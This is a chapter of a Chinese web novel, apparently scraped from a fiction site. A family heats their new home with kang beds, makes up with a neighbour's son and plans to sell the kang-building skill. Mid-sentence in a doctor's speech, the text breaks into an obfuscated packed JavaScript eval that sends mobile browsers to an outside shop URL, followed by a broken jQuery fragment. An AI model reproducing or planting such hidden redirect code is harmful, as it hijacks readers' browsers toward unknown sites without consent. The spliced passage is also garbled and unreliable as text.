文趣网 > 其他小说 > 哥哥们求我别卷了 > 6. 前期宣传
    晚饭还是两家人一起在沈家吃的。

    捡来的小虾,外婆清水煮过,稍稍加了点盐,便很鲜美,黍米裹了青菜,又有菜香,又有米香。

    吃过晚饭,几个孩子帮着收拾碗筷,沈曜之由衷的感叹:“娘,分家真是好,咱们天天都能吃上晚饭了。”

    原来住在沈家老宅的时候,沈老太总说家里人口多,口粮不够吃,只供早饭和午饭,至于晚饭就直接免了。可也不是所有人都不吃,沈老太和沈老头就有吃小灶的权力,毕竟一个孝字大过天,谁也不敢质疑。

    沈家大房和二房也偷偷的开过火,但是家里油和调料金贵,沈老太每顿剩多少都心里有数,一旦发现有人偷吃,免不得要大闹一顿,借着由头将各屋搜查一番,然后再趁机从各房搜罗点东西出来,一来二去,大家都熟悉沈老太的把戏,就算吃晚饭也坚决不在老宅吃。

    现在搬来山上,没人看管,终于能吃上晚饭,孩子们是最开心的。

    今天天色已晚,只将东屋这铺炕搭好,沈守拙和陆猎户约定明天再搭建西屋和前院的炕。

    此时,灶膛还噼噼啪啪的烧着柴,大锅里烧着满满一锅热水,刚舀出一盆,拿去洗碗了,剩下这些水,柳含茵预备给孩子们洗漱。

    柳含茵点了一盏油灯,放在桌子上,三个孩子,六只小脚丫挤在一个大盆里,你踩我一下,我回你一脚,嘻嘻哈哈,笑个不停。

    “他爹,你把那几张席子拿过来。”柳含茵和沈守拙正把原来和尚们留下的,用蒲草做的席子,铺到火炕上,这样上面再铺上褥子,就不会弄脏。

    “茵娘,这火炕还真是个好东西。”沈守拙伸手摸摸火炕,又摸摸火墙,脸上抑制不住的笑意,“晚上那会吃饭,给我热的,我都穿不住衣服了。”

    “是啊,我看陆大哥也是一头汗,今年冬天咱们就没那么难过了。”柳含茵应着,又想起一件事,“对了,我看这两天上山捡柴的人开始多了,虽说咱们有这火炕了,但咱们可是两铺炕,也费柴火,等陆大哥他们炕搭完了,咱们也赶紧囤点柴火。”

    一家人说说笑笑,临睡觉,沈守拙还是让全家都上火炕来睡,说啥也得让大家体验一下。

    一家六口,听山月指挥,整整齐齐的躺在火炕上,外婆挨着火墙,山月管那边叫炕头,接下来是柳含茵和山月,两个哥哥睡中间,沈守拙睡在最远的一头,那边叫炕梢。

    “真暖和啊!”

    大家不约而同的发出感慨。

    “对了,娘!”山月忽然间想起个要命的大事,“灶膛的那个炉门,你关严了没?”

    灶膛上安装了个小铁门,不烧火了,就需要把它紧紧关好,防止一氧化碳中毒。

    “月儿,你都问了我好几遍了,娘记着呢!”柳含茵回答。

    取暖的事虽然重要,但是这一家老小的安全更重要。

    翌日天明,沈守拙和陆猎户吃过早饭后继续开始搭西屋的炕,经过昨天的练习,二人已经逐渐熟练,加上西屋的炕小,一个多时辰就完工了。

    给陆猎户家搭建火炕就有些费功夫。

    这个破庙是三进的院子,最前面分别是山门,大殿,后面则是居住用的前院和后院。当时陆猎户租住的时候,选的是前院,就是因为只住猎户和陆骁两个人,房子太大,就会费柴火。

    前院左边一间房原来是方丈的禅房,现在住着陆猎户和陆骁,右边是原来方丈用来待客的地方。后来大小寺庙合一,有的佛像带不走,便统统搬进了右边的房子。

    房间小能省柴火,但是也意味着,陆猎户所有的家当都在这一间房子里。搭火炕需要搬砖和泥,难免会把东西弄脏,所以现在要做的就是把原本的家具,和生活用品统统搬出去。

    经过这几天的接触,加之沈守拙又是个大大咧咧的性子,沈陆两家相处融洽,但是大人们交好,并不意味着小的们也处的来。

    “娘!”沈曜之扭的麻花似的抓着柳含茵的袖子,“我不去,我才不给那个姓陆的去帮忙。”

    “娘,我也不想去!”柳怀远也在一旁帮腔。

    “你们俩咋回事啊!”柳含茵语气带了些不悦,“从咱们搬过来,人家帮了咱们多少忙,没有他,就凭咱们几个,猴年马月能睡上火炕?现在人家需要帮忙了,你俩拿什么乔?”

    山月在一旁听着,心里一动。上次沈曜之就说过,找陆骁报仇,这小子,保不齐是真行动了的。

    “娘!哥哥们不去,我去!”山月假意转身往前院走。

    “哎!山月,你咋这样呢,要不是为你报仇......”

    柳怀远赶忙堵上沈曜之的嘴。

    恰好柳含茵忙着去前院帮忙,没听见后半句。

    “二哥,你打陆骁了?”山月双手叉腰,盘问着。

    “打了,咋滴!”沈曜之隐隐有些骄傲。

    “你打他干啥?”

    “你掉坑里就是他害的,他不该打啊!”沈曜之撇了撇嘴,“还有你看他那个臭显摆劲儿,不就会打两套拳嘛,我要跟着陆大叔学,打的比他强百套!”

    “哦!”山月拉着长音,“二哥你其实不是给我报仇,你是看人家陆骁会打拳,眼气了!”

    沈曜之一听就立马瞪了眼睛。

    “其实我掉进去,完全是因为我没看脚下,陆骁当时也想救我来着,但是没力气了,再说我身体不舒服,他也烧了一宿,第二天还帮着咱们干活,其实我都不怪他了。”

    山月往哥俩身边凑凑,“你们仨打架,谁赢了?”

    柳怀远脸上明显一红,“仇也报了,这事就当过去了。”说完拽着沈曜之往前院去了。

    山月也紧跟着两个哥哥去了前院。

    给自家干活,陆骁更卖力气,正往外搬桌椅呢,一抬头,就看见沈家三兄妹的身影。

    “你们干啥?”陆骁有些警戒。

    “帮你们搬东西啊!”山月抢先一步站在两个哥哥身前回答。

    陆骁看了看山月,又看了看身后的两兄弟,神情松了一些,小声说道:“谢谢!”

    “走啦,哥!”山月回身,拽了两兄弟,进屋帮忙去了。

    大家忙忙碌碌的各司其职,突然山门外有人喊:“老三在家吗?”

    沈守拙闻声,从屋内探出身子来看,来人正是给山月看病的杜医生。

    “杜大哥,你咋来了?”

    “老三,你看,我给你带啥来了?”杜大夫晃了晃拿在手里的袋子。

    沈守拙接过袋子,打开一看,“大豆?”

    “杜大哥,你这是啥意思?”

    “老三,咱们哥俩光着屁股长大,看你分个家,还被分到山上来,我这一宿一宿睡不着。”杜大夫伸手拍了拍沈守拙的肩膀。

    “上次山月淋雨发烧,也不知道你啥时候给我口袋里塞了根簪子,要是我没记错,那是你媳妇跟你刚成亲时候买的吧。”

    “你说你,你这是没拿我当兄弟啊!”

    沈守拙赶忙摆摆手,“杜大哥,哪能让你白跑啊!”

    “那你要是这么算,我家就我一个儿子,我不在家,我家那缸里的水,你一挑多少年,一到种地的时候,你吃个饭的间隙

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566165|204754||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    也得过来帮我锄块地......”

    说到动情处,杜大夫声音都哽咽了。

    “我家也没什么拿得出手的东西,你嫂子从娘家带回点豆子,就当我给你温锅啦!”

    沈守拙也搂了搂杜大夫的肩膀,两个大男人,不需要过多的语言,就明白彼此的心意。

    “我看你们这乱哄哄的,这是干啥呢?”杜大夫四下打量着。

    “杜大哥,来,我告诉你,这是山月想出来的,叫火炕。”沈守拙拉着杜大夫进了后院,围着搭建好的火墙火炕,将原理又给杜大夫复述了一遍。

    早晨刚用大锅热过饭,现在伸手摸摸火墙,还是温的。

    “这,这可真是个好东西。”杜大夫由衷的赞叹。

    “杜大哥,你要是觉得好,你找够青砖和石板,我去给你搭,保证让你今年冬天,暖暖和和的。”沈守拙拍着胸脯保证。

    “青砖我家还真有,原本想着万一家里生个小子,以后娶媳妇还得盖房子,谁成想啊,你嫂子生了仨丫头,我这辈子也够呛有那个儿子命了,不如就拿来搭这个火炕吧!”

    山月一直跟在两人身后,听着二人交谈,见时机成熟,甜甜的喊了一声,“杜大叔!”

    “哎呀,几天没见,山月真是精神了,也水灵了!”

    “都是杜大叔的医术好!”

    千穿万穿马屁不穿,山月先把杜大夫哄高兴了,随即说出自己的真实目的。

    “杜大叔,要是我爹搭的火炕,大叔大婶觉得满意,就帮着给我爹往外宣传宣传,以后我爹还要靠这个手艺为生呢!”

    “啊?”

    此话一出,杜大夫和沈守拙都愣了。

    山月换了一副可怜兮兮的表情继续道:“当初我奶非要把我们赶出来,连块地都没有,家里以后吃啥,穿啥?我爹好不容易有了这个手艺,好赖能养家糊口啊!”

    “也是。”杜大夫点点头,“你爹压肩上担子重啊,不但得养着你们哥俩,还得养着你娘前面的孩子和她娘,这换一般人,做不到啊,你爹是个爷们!”

    沈守拙不明所以的看看山月,却见山月对他挤了挤眼睛,示意他别说话。

    “杜大叔,那一言为定啊,到时候一定多帮我爹宣传宣传。”

    “好嘞,你就放心吧!”

    约定好帮杜大夫搭火炕的时间,杜大夫就告辞离开了。

    “月儿!你来!”沈守拙把山月喊到身边来。

    “你刚刚说的话,爹咋没听懂呢。”

    “爹,我刚刚说的,是真的。”山月郑重其事的说。

    “眼瞅就要入冬了,咱们家哪有收入啊,就算是明年想买地,是不是也得用银子?咱们家现在最急需的,就是趁着大家伙都需要取暖,赶紧推广一下火炕,不但咱们能挣钱,还能让大家冬天都好过一些。”

    沈守拙静静听着小女儿的话,只觉得孩子说的对。

    “那咱们要多少钱合适呢?”沈守拙琢磨着。

    这个问题也困扰着山月,对这个时代的物价不太了解,定多少合适呢。

    “爹,如果有人帮你搭这个炕,还是个这么重要的东西,你会给多少东西,才能表达你的谢意?”山月反问。

    “嗯,咋也得拎上两只鸡,二斤肉,再整两瓶酒吧。”沈守拙思索半天。

    山月眨巴眨巴眼睛,“那是多少钱?”

    “两只鸡100文,二斤肉200文,两瓶酒,要是好酒的话,也得200文。”

    500文,半两银子。

    “好,那就定价500文!”